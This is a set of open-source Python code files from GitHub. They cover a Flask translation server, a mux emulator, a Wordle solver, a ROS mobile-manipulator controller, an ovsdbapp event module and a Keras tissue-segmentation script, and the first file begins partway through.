generating responses.\n\"\"\"\n\nfrom translate import log\nfrom translate.backend import BackendManager\n\nimport translate.utils\n\nimport flask\n\napp = flask.Flask(__name__, static_folder=\"./static\")\n\napp.config.from_object('translate.app.defaultsettings')\napp.config.from_object('settings')\n\nfrom translate.app import views\nfrom translate.app.ratelimit import RateLimit\n\n\n# API versions that we support (can respond to /api/VERSION/METHOD). It is the\n# server's job to be backward compatible, not the client's (at least for now)\nAPI_VERSION_SUPPORT = ['v1']\n\n\n@app.before_first_request\ndef initialize_flask():\n \"\"\"Make sure that the flask application is properly configured before it\n serves any requests\n \"\"\"\n\n server_conf = app.config['SERVER']\n backend_conf = app.config['BACKENDS']\n\n views.manager = BackendManager(backend_conf)\n\n ratelimit = server_conf.get('ratelimit', None)\n if ratelimit is not None and ratelimit.get('enabled', False):\n RateLimit.enable(limit=ratelimit['limit'], per=ratelimit['per'])\n\n def deinitialize_manager():\n \"\"\"Do any cleanup that needs to be done (for backends in particular)\n before the server terminates.\n \"\"\"\n\n log.info(\"Shutting down server...\")\n views.manager.shutdown()\n\n # Cleanup the server on ^C\n import atexit\n atexit.register(deinitialize_manager)\n\n\ndef start_server(custom_config, debug=True):\n \"\"\"Start the flask Server using flask's built in Werkzeug server. This\n function doesn't return.\n \"\"\"\n\n app.config = translate.utils.update(app.config, custom_config)\n\n server_conf = app.config['SERVER']\n\n host = server_conf['host']\n port = server_conf['port']\n\n log.info(\"Starting server on port {0}, using host {1}\".format(port, host))\n\n # Extra, optional arguments to be passed as kwargs.\n options = {}\n\n if server_conf['ssl']['enabled']:\n log.info('Using SSL')\n\n options['ssl_context'] = (server_conf['ssl']['cert'],\n server_conf['ssl']['key'])\n\n app.run(host=host, port=port, debug=debug, **options)\n","repo_name":"erik/translate","sub_path":"translate/app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2918,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"72302542188","text":"\"\"\"\nA class to emulate a mux\n\"\"\"\n__author__ = 'ayush'\n\nimport math\n\nimport numpy as np\n\n\nclass Mux:\n \"\"\"\n This class is used to define the structure of a mux as well as perform evaluations\n \"\"\"\n\n def __init__(self, num_of_data_inputs, num_of_control_inputs):\n \"\"\"\n Initializes the structure of the mux\n\n :param num_of_data_inputs:\n :param num_of_control_inputs:\n :return: None\n \"\"\"\n self.num_of_data_inputs = num_of_data_inputs\n self.num_of_control_inputs = num_of_control_inputs\n\n def evaluate(self, data_inputs, control_inputs):\n \"\"\"\n Evaluates the output of the mux given a list of data inputs and control inputs each\n\n :param data_inputs: list of data inputs\n :param control_inputs: list of control inputs\n :return: the result of the lut\n \"\"\"\n input_number = 0\n\n # calculate the #data input to be selected\n for i in range(self.num_of_control_inputs):\n input_number += pow(2, self.num_of_control_inputs - i - 1) * \\\n control_inputs[i]\n\n return data_inputs[input_number]\n\n @staticmethod\n def get_mux_params(input_labels, mux_size):\n \"\"\"\n Generates the select lines and the output node label if the given inputs can be fitted into the mux of the\n given size.\n\n 2 is considered as don't care\n :param input_labels: 2D numpy matrix where each row is a label of the\n corr. input node\n :param mux_size: the number of data inputs for the mux\n :return:\n \"\"\"\n # print('in get mux params')\n k = math.log2(mux_size) # number of select lines\n\n # Mux can be fit if there are <= k columns which have both zeros and\n # ones. (don't cares considered both\n # zeros and ones)\n\n a = np.size(input_labels, 1)\n\n is_similar = [True] * a # is_similar[i] represents if the ith column has all similar entries\n columns_list = list() # list of columns having both zeros and ones\n # the labels are from MSB to LSB\n for i in range(a):\n is_one_exists = not (np.where(input_labels[:, a - 1 - i] == 1)[0].size == 0)\n is_zero_exists = not (np.where(input_labels[:, a - 1 - i] == 0)[0].size == 0)\n is_dontcare_exists = not (np.where(input_labels[:, a - 1 - i] == 2)[0].size == 0)\n\n if is_one_exists is True:\n if is_zero_exists is True or is_dontcare_exists is True:\n columns_list.append(i)\n is_similar[i] = False\n elif is_zero_exists is True and is_dontcare_exists is True:\n columns_list.append(i)\n is_similar[i] = False\n\n # print('Select colunms list - %r' % columns_list)\n if len(columns_list) > k: # Mux cannot be fit for a given set of params\n return None\n\n # the select lines are corresponding to the indices in columns_list\n\n # for the output node label, convert the selected columns to don't care. All other columns have each entry\n # similar and hence pick the first one\n output_node_label = np.empty(a)\n\n for i in range(a):\n if is_similar[i]:\n output_node_label[a - i - 1] = input_labels[0, a - i - 1]\n else:\n output_node_label[a - i - 1] = 2\n return columns_list, output_node_label\n\n\nif __name__ == '__main__':\n # testing get_mux_params function\n input_labels = np.array([[1, 0, 2], [1, 1, 2]])\n mux_size = 2\n\n op = Mux.get_mux_params(input_labels, mux_size)\n if op is None:\n print('Mux fit not possible')\n exit()\n print(op[0])\n print(op[1])\n","repo_name":"ayushbaid/Mux2LUT","sub_path":"mux.py","file_name":"mux.py","file_ext":"py","file_size_in_byte":3734,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"31443192992","text":"count = 10\n\ndef max_experience(graph, level, position, visited):\n global count\n\n if level == len(graph):\n return 0\n\n if (level, position) not in visited:\n visited.add((level, position))\n\n current_experience = graph[level][position]\n left_experience = max_experience(graph, level + 1, position, visited)\n right_experience = max_experience(graph, level + 1, position + 1, visited)\n\n count += 1\n\n return current_experience + max(left_experience, right_experience)\n else:\n return 0\n\ndef read_pyramid_from_file(file_path):\n graph = []\n with open(file_path, 'r') as file:\n for line in file:\n row = [int(num) for num in line.split()]\n graph.append(row)\n return graph\n\ndef write_result_to_file(result, file_path):\n with open(file_path, 'w') as file:\n file.write(str(result))\n\n\npyramid = read_pyramid_from_file('career.in')\n\n#\nresult = max_experience(pyramid, 0, 0, set())\n\nprint(count)\n\n\n\nwrite_result_to_file(result, 'career.out')\n\n","repo_name":"Bohdan-Kozlo/AlgoLabs","sub_path":"Labs5/src/laba5.py","file_name":"laba5.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38596685786","text":"# Note that the NYT only uses around 2300 possible 5-letter words as correct answers (whereas there are over 12,000 5-letter words in English). So we use the NYT word list, since we're only looking for correct answers!\r\n\r\n#d:\\python\\wordle>wordle-analyzer.py\r\n#\r\n#Total number of Wordle words used in analysis: 2309\r\n#\r\n#Letter Total | Pos 1 Pos 2 Pos 3 Pos 4 Pos 5\r\n#--------------------------------------------------------------\r\n# a 975 | 140 304 306 162 63\r\n# b 280 | 173 16 56 24 11\r\n# c 475 | 198 40 56 150 31\r\n# d 393 | 111 20 75 69 118\r\n# e 1230 | 72 241 177 318 422\r\n# f 229 | 135 8 25 35 26\r\n# g 310 | 115 11 67 76 41\r\n# h 387 | 69 144 9 28 137\r\n# i 670 | 34 201 266 158 11\r\n# j 27 | 20 2 3 2 0\r\n# k 210 | 20 10 12 55 113\r\n# l 716 | 87 200 112 162 155\r\n# m 316 | 107 38 61 68 42\r\n# n 573 | 37 87 137 182 130\r\n# o 753 | 41 279 243 132 58\r\n# p 365 | 141 61 57 50 56\r\n# q 29 | 23 5 1 0 0\r\n# r 897 | 105 267 163 150 212\r\n# s 668 | 365 16 80 171 36\r\n# t 729 | 149 77 111 139 253\r\n# u 466 | 33 185 165 82 1\r\n# v 152 | 43 15 49 45 0\r\n# w 194 | 82 44 26 25 17\r\n# x 37 | 0 14 12 3 8\r\n# y 424 | 6 22 29 3 364\r\n# z 40 | 3 2 11 20 4\r\n\r\nimport random\r\nimport re\r\n\r\nNUM_LETTERS = 5\r\nMAX_ATTEMPTS = 6\r\nBEST_GUESS_THRESHOLD = 50 # TBD: refine as needed\r\nMOST_COMMON = [\"[abcpst]\",\"[aeiloru]\",\"[aeinoru]\",\"[aceilnrs]\",\"[ehlnrty]\"]\r\nINCORRECT_LETTER = 'b' # or there are no more of this letter\r\nCORRECT_LETTER = 'y'\r\nCORRECT_POS = 'g'\r\n\r\ndef bestguess(greenletters):\r\n if greenletters is None:\r\n r = re.compile(MOST_COMMON[0] + MOST_COMMON[1] + MOST_COMMON[2] + MOST_COMMON[3] + MOST_COMMON[4])\r\n else:\r\n matchstring = \"\"\r\n for x in range(NUM_LETTERS):\r\n if '.' in greenletters[x]:\r\n matchstring = matchstring + MOST_COMMON[x]\r\n else:\r\n matchstring = matchstring + \"[\" + greenletters[x] + \"]\"\r\n print(\"\\nBest guess filters:\")\r\n print(matchstring)\r\n r = re.compile(matchstring)\r\n mostlikelywords = list(filter(r.match, possiblewords))\r\n print(\"\\nMost likely words:\")\r\n print(mostlikelywords)\r\n # TBD: handle scenario when there isn't any best guess left\r\n randomguess = mostlikelywords[random.randint(0, len(mostlikelywords)-1)]\r\n # Toss a best guess with repeated letters\r\n repeatedletter = False\r\n for x in range(NUM_LETTERS-1):\r\n if repeatedletter:\r\n break;\r\n for y in range(x+1, NUM_LETTERS):\r\n if randomguess[x] in randomguess[y]:\r\n repeatedletter = True\r\n print(\"\\nRepeated letter in\", randomguess.upper() + \", so toss\")\r\n break;\r\n if not repeatedletter:\r\n return randomguess\r\n else:\r\n return bestguess(greenletters) # recursive as needed\r\n#end bestguess\r\n\r\nfhand = open('wordle-nyt-answers-alphabetical.txt')\r\noriginalwords = fhand.read().split()\r\nfhand = open('used-wordlist-raw.txt')\r\nusedwords = fhand.read().split()\r\npossiblewords = list()\r\nfor word in originalwords:\r\n if word.upper() not in usedwords:\r\n possiblewords.append(word)\r\n\r\nguess = input(\"\\nEnter the guess you will enter into Wordle, or hit Enter to randomly select a guess: \")\r\nguess = guess.lower()\r\nif (len(guess) != NUM_LETTERS or not guess.isalpha()) : guess = bestguess(None)\r\nprint(\"\\nEnter this word into Wordle:\", guess.upper())\r\nif guess in possiblewords:\r\n # since user can enter the first guess, it might not actually be in the list of possible words\r\n possiblewords.remove(guess)#\r\n\r\ncount = 1\r\nwhile True:\r\n result = input(\"\\nNow enter the result in this format: one letter per position, with 'b' (wrong), 'y' (correct letter, but wrong position), or 'g' (correct letter and correct position): \").lower()\r\n if len(result) != NUM_LETTERS:\r\n continue\r\n for x in range(NUM_LETTERS):\r\n if (INCORRECT_LETTER not in result[x]) and (CORRECT_LETTER not in result[x]) and (CORRECT_POS not in result[x]): continue # TBD: could use regular expression instead, and actually need more error checking because something like \"tatty\" causes an error later below\r\n\r\n if \"ggggg\" in result:\r\n print(\"\\nGreat! Today's Wordle was solved in\", count, end='')\r\n if count == 1:\r\n print(\" guess.\")\r\n else:\r\n print(\" guesses.\")\r\n fin = open('used-wordlist-raw.txt', 'r')\r\n usedwordlist = fin.read()\r\n fout = open('used-wordlist-raw.txt', 'w')\r\n fout.write(guess.upper() + \" \")\r\n fout.write(usedwordlist)\r\n fout.close()\r\n break\r\n elif count == MAX_ATTEMPTS:\r\n print(\"\\nSorry, the maximum number of 6 attempts has been reached! Try again tomorrow. :)\")\r\n break\r\n count += 1\r\n\r\n greens = ['.', '.', '.', '.', '.']\r\n yellows = ['.', '.', '.', '.', '.']\r\n blacks = ['', '', '', '', '']\r\n\r\n greenfound = False\r\n for x in range(NUM_LETTERS):\r\n if CORRECT_POS in result[x]:\r\n greenfound = True\r\n greens[x] = guess[x]\r\n if greenfound:\r\n r = re.compile(''.join(greens))\r\n possiblewords = list(filter(r.match, possiblewords))\r\n print(\"\\nGreens:\")\r\n print(greens)\r\n print(possiblewords)\r\n\r\n for x in range(NUM_LETTERS):\r\n if CORRECT_LETTER in result[x]:\r\n yellows[x] = \"[^\" + guess[x] + \"]\"\r\n r = re.compile(''.join(yellows))\r\n possiblewords = list(filter(r.match, possiblewords))\r\n print(\"\\nYellows:\")\r\n print(yellows)\r\n print(possiblewords)\r\n\r\n for x in range(NUM_LETTERS):\r\n if INCORRECT_LETTER in result[x]:\r\n for y in range(NUM_LETTERS):\r\n if (guess[x] not in ''.join(greens)) and (guess[x] not in ''.join(yellows)):\r\n # this is needed in case that while letter does exist elsewhere, there isn't another\r\n blacks[y] = blacks[y] + guess[x]\r\n for z in range(NUM_LETTERS):\r\n if blacks[z] != '':\r\n blacks[z] = \"[^\" + blacks[z] + \"]\"\r\n else:\r\n blacks[z] = '.'\r\n r = re.compile(''.join(blacks))\r\n possiblewords = list(filter(r.match, possiblewords))\r\n print(\"\\nBlacks:\")\r\n print(blacks)\r\n print(possiblewords)\r\n\r\n removewords = list()\r\n correctletters = \"\"\r\n for x in range(NUM_LETTERS):\r\n if CORRECT_LETTER in result[x]:\r\n correctletters = correctletters + guess[x]\r\n for word in possiblewords:\r\n if guess[x] not in word:\r\n if word not in removewords:\r\n removewords.append(word)\r\n for word in removewords:\r\n possiblewords.remove(word)\r\n print(\"\\nFinal words\", end=\"\")\r\n if (correctletters != \"\"):\r\n print(\" with letter(s)\", correctletters + \":\")\r\n else:\r\n print(\":\")\r\n print(possiblewords)\r\n\r\n # TBD: handle empty possiblewords, though that shouldn't happen in reality unless there's a bug or the NYT sublist we use doesn't actually reflect their implemented set of words\r\n\r\n if len(possiblewords) > BEST_GUESS_THRESHOLD:\r\n guess = bestguess(''.join(greens))\r\n # TBD: handle empty guess\r\n else:\r\n guess = possiblewords[random.randint(0, len(possiblewords)-1)]\r\n print(\"\\nEnter this word into Wordle:\", guess.upper()) #\r\n possiblewords.remove(guess)\r\n","repo_name":"wolfmountainapps/wordle-cli","sub_path":"wordle-guesser.py","file_name":"wordle-guesser.py","file_ext":"py","file_size_in_byte":8214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23694812086","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport rospy\nimport common\nimport numpy as np\n\nfrom jaco_msgs.msg import JointVelocity\nfrom robot_controller_abstract import RobotControllerAbstract\nfrom std_msgs.msg import Header\nfrom geometry_msgs.msg import Pose, PoseStamped, Twist, TwistStamped, Quaternion\nfrom common.msg import ManipulationReference, RobotState\nfrom utils.util_functions import transform2pose, update_tf, wait_for_tf, diff_poses, rosmsg2nparray, twist_from_vw, \\\n euler_from_rosquaternion, transform2pose, diff_poses\nfrom utils.data_container import DataContainer\nfrom calculator.get_jacobi_matrix_mm import get_jacobi_matrix\nfrom calculator.get_vec_redundancy import get_vec_redundancy\n\nPARAM_NAME_MANI_REF_TOPIC = '/manipulation_reference_topic'\nPARAM_NAME_BS_INPUT_TOPIC = '/blackship_input_topic'\nPARAM_NAME_MICO_JOINTVEL_INPUT_TOPIC = '/mico_jointvel_input_topic'\nPARAM_NAME_ROBOT_STATE_TOPIC = '/robot_state_topic'\nPARAM_NAME_CTRL_PARAM_N = '/ctrlparam_N'\nPARAM_NAME_CTRL_PARAM_M = '/ctrlparam_M'\nPARAM_NAME_CTRL_PARAM_KPGAIN = '/ctrlparam_Kp'\nPARAM_NAME_CTRL_PARAM_KREDUNDANCY = '/ctrlparam_Kredundancy'\nPARAM_NAME_MICOBS_CTRL_METHOD_MAX_MANIPULABILITY = '/micobs_control_method_max_manipulability'\nPARAM_NAME_MICOBS_CTRL_METHOD_FORCE_STOP = '/micobs_control_method_force_stop'\nPARAM_NAME_MOBILE_WHEEL_RADIUS = '/mobile_wheel_radius'\nPARAM_NAME_MOBILE_AXLE_TRACK = '/mobile_axle_track'\nPARAM_NAME_MOBILE_BASE_FRAME_ID_FOR_CALC = '/mobile_base_frame_id_for_calc'\nPARAM_NAME_MICO_EE_FRAME_ID_FOR_CALC = '/end_effector_frame_id_for_calc'\n\n\nclass ParameterManager():\n def __init__(self):\n self.N = rospy.get_param(PARAM_NAME_CTRL_PARAM_N)\n self.M = rospy.get_param(PARAM_NAME_CTRL_PARAM_M)\n self.Kpgain = rospy.get_param(PARAM_NAME_CTRL_PARAM_KPGAIN)\n self.Kredundancy = rospy.get_param(PARAM_NAME_CTRL_PARAM_KREDUNDANCY)\n self.Rw = rospy.get_param(PARAM_NAME_MOBILE_WHEEL_RADIUS)\n self.T = rospy.get_param(PARAM_NAME_MOBILE_AXLE_TRACK)\n\n\nclass MicoBSCtrl_ForceStopping(RobotControllerAbstract):\n def __init__(self, registered_tf_buffer=None):\n super(MicoBSCtrl_ForceStopping, self).__init__([JointVelocity, TwistStamped],\n [rospy.get_param(PARAM_NAME_MICO_JOINTVEL_INPUT_TOPIC),\n rospy.get_param(PARAM_NAME_BS_INPUT_TOPIC)],\n registered_tf_buffer)\n\n def activate_controller(self):\n return True\n\n def update_input(self):\n return [JointVelocity(), TwistStamped(header=Header(stamp=rospy.Time.now()))]\n\n\nclass MicoBSCtrl_MaxManipulability(RobotControllerAbstract):\n def __init__(self, registered_tf_buffer=None):\n super(MicoBSCtrl_MaxManipulability, self).__init__([JointVelocity, TwistStamped],\n [rospy.get_param(PARAM_NAME_MICO_JOINTVEL_INPUT_TOPIC),\n rospy.get_param(PARAM_NAME_BS_INPUT_TOPIC)],\n registered_tf_buffer)\n self._param = ParameterManager()\n\n self._robot_state_cur = RobotState()\n self._mani_ref = ManipulationReference()\n self._is_initialized_robot_state_cur = False\n self._is_initialized_mani_ref = False\n self._decimals = 4\n self._interval_sec = 3.0\n\n self._ee_state_err_container = DataContainer('eeStateErr', data_class=list,\n header_list=['x', 'y', 'z', 'roll', 'pitch', 'yaw'])\n self._ee_state_ref_container = DataContainer('eeStateRef', data_class=list,\n header_list=['x', 'y', 'z', 'roll', 'pitch', 'yaw'])\n self._ee_state_cur_container = DataContainer('eeStateCur', data_class=list,\n header_list=['x', 'y', 'z', 'roll', 'pitch', 'yaw'])\n self._robot_vel_input_container = DataContainer('RobotVelInput', data_class=list,\n header_list=['j1', 'j2', 'j3', 'j4', 'j5', 'j6', 'v', 'w'])\n\n def activate_controller(self):\n rospy.Subscriber(rospy.get_param(PARAM_NAME_MANI_REF_TOPIC),\n ManipulationReference, self._mani_ref_callback)\n rospy.Subscriber(rospy.get_param(PARAM_NAME_ROBOT_STATE_TOPIC),\n RobotState, self._robot_state_callback)\n while (self._is_initialized_robot_state_cur is False):\n rospy.loginfo('wait for initialing robot_state_cur...')\n rospy.sleep(self._interval_sec)\n return True\n\n def update_input(self):\n m2mm = np.matrix(np.diag(np.array([1000, 1000, 1000, 1, 1, 1])))\n mm2m = np.matrix(np.diag(np.array([0.001, 0.001, 0.001, 1, 1, 1])))\n jacobi = get_jacobi_matrix(self._robot_state_cur.arm_joint_angles,\n euler_from_rosquaternion(self._robot_state_cur.base_pose.orientation)[0])\n\n # pinv_jacobi = np.linalg.pinv(jacobi)\n pinv_jacobi = jacobi.T.dot(np.linalg.inv(jacobi.dot(jacobi.T)))\n\n # vec_redundancy = get_vec_redundancy(self._robot_state_cur, jacobi)\n Kpgain = np.matrix(np.diag(np.array([2, 2, 2, 0, 0, 0])))\n Kredundancy = np.matrix(np.diag(np.array([1, 1, 1, 1, 1, 1, 1, 1])))\n\n # rospy.loginfo('\\n' + '\\n'.join(['EEStateErr:\\t' + ', '.join([str(d[0]) for d in self._ee_state_err.tolist()]),\n # 'EEVelRef:\\t' + ', '.join([str(d[0]) for d in self._ee_vel_ref.tolist()])]))\n\n u = pinv_jacobi * m2mm * (self._ee_vel_ref - Kpgain * self._ee_state_err)\n # + (np.identity(8) - pinv_jacobi * jacobi) * Kredundancy * vec_redundancy\n u = u.round(decimals=self._decimals)\n\n v = (u[6, 0] + u[7, 0]) * self._param.Rw / 2\n w = (u[6, 0] - u[7, 0]) * self._param.Rw / self._param.T\n\n self._ee_state_err_container.write(self._ee_state_err.T.tolist()[0])\n self._ee_state_ref_container.write(self._ee_state_ref.T.tolist()[0])\n self._ee_state_cur_container.write(self._ee_state_cur.T.tolist()[0])\n self._ee_state_cur_container.write(self._ee_state_cur.T.tolist()[0])\n self._robot_vel_input_container.write(u.T.tolist()[0][:6] + [v, w])\n\n # FIXME u[0, 0]\n return [JointVelocity(joint1=-u[0, 0], joint2=u[1, 0], joint3=u[2, 0],\n joint4=u[3, 0], joint5=u[4, 0], joint6=u[5, 0]),\n TwistStamped(header=Header(stamp=rospy.Time.now()),\n twist=twist_from_vw(v, w))]\n\n def _mani_ref_callback(self, mani_ref):\n self._mani_ref = mani_ref\n if self._is_initialized_mani_ref is False:\n self._is_initialized_mani_ref = True\n\n def _robot_state_callback(self, robot_state):\n self._robot_state_cur = robot_state\n if self._is_initialized_robot_state_cur is False:\n self._is_initialized_robot_state_cur = True\n\n @property\n def _ee_state_ref(self):\n pose_ref = self._mani_ref.ee_pose if self._is_initialized_mani_ref else self._robot_state_cur.ee_pose\n return np.matrix(rosmsg2nparray(pose_ref)).T.round(decimals=self._decimals)\n\n @property\n def _ee_state_cur(self):\n return np.matrix(rosmsg2nparray(self._robot_state_cur.ee_pose)).T.round(decimals=self._decimals)\n\n @property\n def _ee_vel_ref(self):\n twist_ref = self._mani_ref.ee_twist if self._is_initialized_mani_ref else Twist()\n return np.matrix(rosmsg2nparray(twist_ref)).T.round(decimals=self._decimals)\n\n @property\n def _ee_vel_cur(self):\n return np.matrix(rosmsg2nparray(self._robot_state_cur.ee_twist)).T.round(decimals=self._decimals)\n\n @property\n def _ee_state_err(self):\n pose_ref = self._mani_ref.ee_pose if self._is_initialized_mani_ref else self._robot_state_cur.ee_pose\n pose_err = diff_poses(self._robot_state_cur.ee_pose, pose_ref)\n return np.matrix(rosmsg2nparray(pose_err)).T.round(decimals=self._decimals)\n\n\nclass MicoBSController(object):\n ctrl_method_map = {rospy.get_param(PARAM_NAME_MICOBS_CTRL_METHOD_FORCE_STOP): MicoBSCtrl_ForceStopping,\n rospy.get_param(PARAM_NAME_MICOBS_CTRL_METHOD_MAX_MANIPULABILITY): MicoBSCtrl_MaxManipulability}\n\n def __init__(self, method, registered_tf_buffer=None):\n if method in self.ctrl_method_map.keys():\n self._controller = self.ctrl_method_map[method](registered_tf_buffer)\n else:\n rospy.logerr('Invalid MICOBSControlMethod is selected!')\n\n @property\n def controller(self):\n return self._controller\n","repo_name":"mu-777/predictive_display_for_mobile_manipulator","sub_path":"robot_controller/src/mico_bs_controller.py","file_name":"mico_bs_controller.py","file_ext":"py","file_size_in_byte":8778,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"16709915140","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport logging\n\nfrom ovsdbapp.backend.ovs_idl import idlutils\nfrom ovsdbapp import event as ovsdb_event\n\nLOG = logging.getLogger(__name__)\n\n\nclass RowEvent(ovsdb_event.RowEvent): # pylint: disable=abstract-method\n def match_fn(self, event, row, old):\n if self.conditions and not idlutils.row_match(row, self.conditions):\n return False\n if self.old_conditions:\n if not old:\n return False\n try:\n if not idlutils.row_match(old, self.old_conditions):\n return False\n except (KeyError, AttributeError):\n # Its possible that old row may not have all columns in it\n return False\n return True\n\n def matches(self, event, row, old=None):\n if event not in self.events:\n return False\n if row._table.name != self.table:\n return False\n if not self.match_fn(event, row, old):\n return False\n LOG.debug(\"Matched %s: %r to row=%s old=%s\", event.upper(), self,\n idlutils.row2str(row), idlutils.row2str(old) if old else '')\n return True\n\n\nclass WaitEvent(RowEvent, ovsdb_event.WaitEvent):\n pass\n\n\nclass RowEventHandler(ovsdb_event.RowEventHandler):\n def notify(self, event, row, updates=None):\n row = idlutils.frozen_row(row)\n super().notify(event, row, updates)\n","repo_name":"psitadmin/network-junco","sub_path":"server/venv_ubuntu/lib/python3.8/site-packages/ovsdbapp/backend/ovs_idl/event.py","file_name":"event.py","file_ext":"py","file_size_in_byte":1971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74269920106","text":"import os\n#os.environ[\"CUDA_DEVICE_ORDER\"]=\"PCI_BUS_ID\" # see issue #152\n#os.environ[\"CUDA_VISIBLE_DEVICES\"]=\"1\"\n\n#Python\nimport ConfigParser as cparser\nfrom keras.models import model_from_json\nimport sys\nfrom convnet.util.help_functions import *\nfrom convnet.util.extract_patches import recompone_overlap,get_data_segmenting_overlap\n\nimport fnmatch\nfrom misc.imoverlay import imoverlay as imoverlay\nimport mahotas as mh\nimport skimage.io as io\nimport glob\nimport matplotlib.pyplot as plt\nimport cv2\n\nimport time\nfrom scipy import stats\n\nclass Segmentation:\n\n def __init__(self, config_file):\n self.TISSUE_THRESH = 0.01\n\n # read config\n config = cparser.RawConfigParser()\n config.read(config_file)\n path_project = config.get('data paths', 'path_project')\n path_model = os.path.join(path_project, config.get('data paths', 'path_model'))\n\n # dimension of the patches\n self.patch_height = int(config.get('data attributes', 'patch_height'))\n self.patch_width = int(config.get('data attributes', 'patch_width'))\n self.mask_height = int(config.get('data attributes', 'mask_height'))\n self.mask_width = int(config.get('data attributes', 'mask_width'))\n self.mask_dim = (self.mask_height, self.mask_width)\n self.imgs_to_test = int(config.get('testing settings', 'full_images_to_test')),\n\n # model name\n self.name_experiment = config.get('experiment name', 'name')\n self.average_mode = config.getboolean('testing settings', 'average_mode')\n self.stride_height = int(config.get('testing settings', 'stride_height'))\n self.stride_width = int(config.get('testing settings', 'stride_width'))\n\n # load mean image for pre-processing\n self.mean_img_path = os.path.join(path_project, config.get('data paths', 'mean_image'))\n\n # Load the saved model\n self.model = model_from_json(open(os.path.join(path_model, self.name_experiment + '_architecture.json')).read())\n self.model.load_weights(os.path.join(path_model, self.name_experiment + '_best_weights.h5'))\n\n\n # count the number of pixels that are not background\n def get_num_pix_tissue(self, img): # assumes RGB image\n tmp_img = img[:, :, 0] + img[:, :, 1] + img[:, :, 2]\n tmp_nnz_b = tmp_img.flatten().nonzero()\n nnz_b = float(len(tmp_nnz_b[0])) # number of non-zero pixel in img\n return nnz_b\n\n # get a folder list inside _root_dir_\n def get_folder_list(self, root_dir):\n folder_list = []\n\n for root, dir, files in os.walk(root_dir):\n if fnmatch.fnmatch(root, '*heat_map'):\n folder_list.append(root)\n\n return folder_list\n\n\n def run_segmentation(self, root_dir):\n nError = 0\n\n dir_list = self.get_folder_list(root_dir)\n for folder in dir_list:\n\n # check if tiles folder exists\n tiles_dir = os.path.join(folder, 'seg_tiles')\n if not os.path.exists(tiles_dir):\n print('Error: tiles folder {} does not exist.'.format(tiles_dir))\n continue\n\n # create output folder\n out_dir = os.path.join(folder, 'TAU_seg_tiles')\n if not os.path.exists(out_dir):\n os.mkdir(out_dir)\n\n print('*** Processing files in folder {}'.format(folder))\n\n # get a list of tif files\n files = glob.glob(os.path.join(tiles_dir, '*.tif'))\n nTotal = len(files)\n print('### {} tile(s) to segment.### '.format(nTotal))\n\n for fname in files:\n basename = os.path.basename(fname)\n out_name_seg = os.path.join(out_dir, basename[0:-4] + '_mask.tif')\n out_name_prob = os.path.join(out_dir, basename[0:-4] + '_prob.npy')\n\n test_imgs_original = os.path.join(tiles_dir, basename)\n print('Segmenting image {}.'.format(test_imgs_original))\n\n # Load the data and divide in patches\n try:\n # load image to segment\n orig_img = io.imread(test_imgs_original)\n except:\n nError += 1\n print(\"Error opening file {}\".format(test_imgs_original))\n continue\n\n # check if image has enough tissue\n npix_tissue = self.get_num_pix_tissue(orig_img)\n percent_tissue = npix_tissue / (orig_img.shape[0] * orig_img.shape[1])\n if percent_tissue < self.TISSUE_THRESH:\n print('Image has too little tissue. Skipping.')\n continue\n\n # pad sides\n orig_img_pad = pad_image(orig_img.copy(), self.patch_height, self.patch_width)\n\n # original tiles are 1024x1024\n # break image into smaller patches of 204x204 (network input size)\n patches_imgs_test, new_height, new_width, masks_test = get_data_segmenting_overlap(\n test_img_original = orig_img_pad.astype('float'), # image path to segment\n Imgs_to_test = self.imgs_to_test,\n mean_image_path = self.mean_img_path,\n patch_height = self.patch_height,\n patch_width = self.patch_width,\n stride_height = self.stride_height,\n stride_width = self.stride_width,\n is_color = True\n )\n\n # calculate the predictions\n start = time.clock()\n predictions = self.model.predict(patches_imgs_test, batch_size=32, verbose=2)\n end = time.clock()\n print(\"**Time per image: {} \".format((end - start) / 32))\n print(\"predicted images size :\")\n print(predictions.shape)\n\n # convert the prediction arrays in corresponding images\n pred_patches = pred_to_imgs(predictions, self.mask_dim[0], self.mask_dim[1], \"original\")\n\n new_pred_patches = np.zeros((pred_patches.shape[0], 1, self.patch_height, self.patch_width))\n nP = pred_patches.shape[0]\n\n # network output is 200x200, resize to original dimensions\n for p in range(nP):\n tmp = pred_patches[p, 0, ...]\n tmp = cv2.resize(tmp, (self.patch_height,self. patch_width), interpolation=cv2.INTER_NEAREST)\n new_pred_patches[p, 0, ...] = tmp\n\n\n pred_imgs = recompone_overlap(new_pred_patches, new_height, new_width, self.stride_height,\n self.stride_width) # predictions\n img = pred_imgs[0, 0, ...] # get matrix for Tau prediction\n\n # remove padding 1\n pad_r1 = new_height - orig_img_pad.shape[0]\n pad_c1 = new_width - orig_img_pad.shape[1]\n img = img[0:img.shape[0] - pad_r1, 0:img.shape[1] - pad_c1, ...]\n\n # remove padding 2\n img = img[self.patch_height:img.shape[0] - self.patch_height, self.patch_width:img.shape[1] - self.patch_width, ...]\n\n # threshold\n mask = img > 0.5 # threshold class probabilities\n #mask = (img < 0.9) & (img > 0.4)\n #img_copy = img.copy()\n #img_copy[mask] = 0\n\n print('Saving probability file {}'.format(out_name_prob))\n np.save(out_name_prob, img)\n\n # mask out background just in case\n mask_bkg = orig_img[..., 0] < 1.\n mask[mask_bkg == True] = False\n\n print('Saving {}'.format(out_name_seg))\n io.imsave(out_name_seg, (mask * 255).astype('uint8'))\n\n 